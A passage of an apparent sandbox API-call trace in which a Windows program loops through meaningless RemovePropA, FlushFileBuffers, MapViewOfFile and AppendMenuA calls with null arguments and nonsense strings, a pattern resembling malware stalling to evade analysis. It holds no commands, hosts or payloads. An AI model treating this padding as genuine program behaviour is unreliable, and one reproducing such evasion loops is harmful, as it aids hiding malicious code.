	[0065.431] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.431] FlushFileBuffers (hFile=0x0) returned 0
	[0065.431] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.431] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.431] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.431] FlushFileBuffers (hFile=0x0) returned 0
	[0065.431] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.431] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.431] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.431] FlushFileBuffers (hFile=0x0) returned 0
	[0065.431] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.431] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.431] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.431] FlushFileBuffers (hFile=0x0) returned 0
	[0065.431] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.431] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.431] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.431] FlushFileBuffers (hFile=0x0) returned 0
	[0065.431] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.431] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.431] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.432] FlushFileBuffers (hFile=0x0) returned 0
	[0065.432] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.432] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.432] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.432] FlushFileBuffers (hFile=0x0) returned 0
	[0065.432] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.432] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.432] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.432] FlushFileBuffers (hFile=0x0) returned 0
	[0065.432] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.432] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.432] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.432] FlushFileBuffers (hFile=0x0) returned 0
	[0065.432] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.432] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.432] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.432] FlushFileBuffers (hFile=0x0) returned 0
	[0065.432] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.432] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.432] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.432] FlushFileBuffers (hFile=0x0) returned 0
	[0065.432] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.432] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.433] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.433] FlushFileBuffers (hFile=0x0) returned 0
	[0065.433] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.433] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.433] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.433] FlushFileBuffers (hFile=0x0) returned 0
	[0065.433] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.433] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.433] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.433] FlushFileBuffers (hFile=0x0) returned 0
	[0065.433] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.433] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.433] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.433] FlushFileBuffers (hFile=0x0) returned 0
	[0065.433] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.433] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.433] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.434] FlushFileBuffers (hFile=0x0) returned 0
	[0065.434] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.434] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.434] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.434] FlushFileBuffers (hFile=0x0) returned 0
	[0065.434] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.434] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.434] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.434] FlushFileBuffers (hFile=0x0) returned 0
	[0065.434] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.434] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.434] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.434] FlushFileBuffers (hFile=0x0) returned 0
	[0065.434] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.434] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.434] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.434] FlushFileBuffers (hFile=0x0) returned 0
	[0065.434] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.434] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.434] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.434] FlushFileBuffers (hFile=0x0) returned 0
	[0065.434] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.434] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.435] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.435] FlushFileBuffers (hFile=0x0) returned 0
	[0065.435] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.435] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.435] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.435] FlushFileBuffers (hFile=0x0) returned 0
	[0065.435] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.435] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.435] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.435] FlushFileBuffers (hFile=0x0) returned 0
	[0065.435] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.435] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.435] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.435] FlushFileBuffers (hFile=0x0) returned 0
	[0065.435] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.435] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.435] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.435] FlushFileBuffers (hFile=0x0) returned 0
	[0065.435] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.435] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.435] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.435] FlushFileBuffers (hFile=0x0) returned 0
	[0065.435] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.436] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.436] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.436] FlushFileBuffers (hFile=0x0) returned 0
	[0065.436] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.436] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.436] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.436] FlushFileBuffers (hFile=0x0) returned 0
	[0065.436] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.436] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.436] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.436] FlushFileBuffers (hFile=0x0) returned 0
	[0065.436] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.436] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.436] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.436] FlushFileBuffers (hFile=0x0) returned 0
	[0065.436] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.436] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.436] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.436] FlushFileBuffers (hFile=0x0) returned 0
	[0065.436] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.436] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.436] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.436] FlushFileBuffers (hFile=0x0) returned 0
	[0065.437] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.437] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.437] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.437] FlushFileBuffers (hFile=0x0) returned 0
	[0065.437] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.437] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.437] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.437] FlushFileBuffers (hFile=0x0) returned 0
	[0065.437] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.437] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.437] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.437] FlushFileBuffers (hFile=0x0) returned 0
	[0065.437] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.437] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.437] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.437] FlushFileBuffers (hFile=0x0) returned 0
	[0065.437] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.437] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.437] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.437] FlushFileBuffers (hFile=0x0) returned 0
	[0065.437] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.437] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.437] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.438] FlushFileBuffers (hFile=0x0) returned 0
	[0065.438] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.438] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.438] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.438] FlushFileBuffers (hFile=0x0) returned 0
	[0065.438] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.438] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.438] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.438] FlushFileBuffers (hFile=0x0) returned 0
	[0065.438] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.438] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.438] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.438] FlushFileBuffers (hFile=0x0) returned 0
	[0065.438] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.438] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.438] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.438] FlushFileBuffers (hFile=0x0) returned 0
	[0065.438] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.438] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.438] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.438] FlushFileBuffers (hFile=0x0) returned 0
	[0065.438] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.438] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.438] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.439] FlushFileBuffers (hFile=0x0) returned 0
	[0065.439] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.439] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.439] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.439] FlushFileBuffers (hFile=0x0) returned 0
	[0065.439] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.439] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.439] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.439] FlushFileBuffers (hFile=0x0) returned 0
	[0065.439] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.439] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.439] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.439] FlushFileBuffers (hFile=0x0) returned 0
	[0065.439] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.439] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.439] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.439] FlushFileBuffers (hFile=0x0) returned 0
	[0065.439] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.439] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.439] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.439] FlushFileBuffers (hFile=0x0) returned 0
	[0065.439] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.439] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.440] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.440] FlushFileBuffers (hFile=0x0) returned 0
	[0065.440] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.440] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.440] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.440] FlushFileBuffers (hFile=0x0) returned 0
	[0065.440] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.440] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.440] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.440] FlushFileBuffers (hFile=0x0) returned 0
	[0065.440] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.440] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.440] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.440] FlushFileBuffers (hFile=0x0) returned 0
	[0065.440] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.440] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.440] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.440] FlushFileBuffers (hFile=0x0) returned 0
	[0065.440] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.440] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.440] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.440] FlushFileBuffers (hFile=0x0) returned 0
	[0065.440] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.441] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.441] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.441] FlushFileBuffers (hFile=0x0) returned 0
	[0065.441] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.441] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.441] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.441] FlushFileBuffers (hFile=0x0) returned 0
	[0065.441] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.441] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.441] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.441] FlushFileBuffers (hFile=0x0) returned 0
	[0065.441] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.441] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.441] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.441] FlushFileBuffers (hFile=0x0) returned 0
	[0065.441] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.441] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.441] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.441] FlushFileBuffers (hFile=0x0) returned 0
	[0065.441] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.441] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.441] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.441] FlushFileBuffers (hFile=0x0) returned 0
	[0065.441] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
	[0065.442] AppendMenuA (hMenu=0x0, uFlags=0x0, uIDNewItem=0x0, lpNewItem="Mofipasica jocowe nodi") returned 0
	[0065.442] RemovePropA (hWnd=0x0, lpString="Vayito") returned 0x0
	[0065.442] FlushFileBuffers (hFile=0x0) returned 0
	[0065.442] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x0, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x0
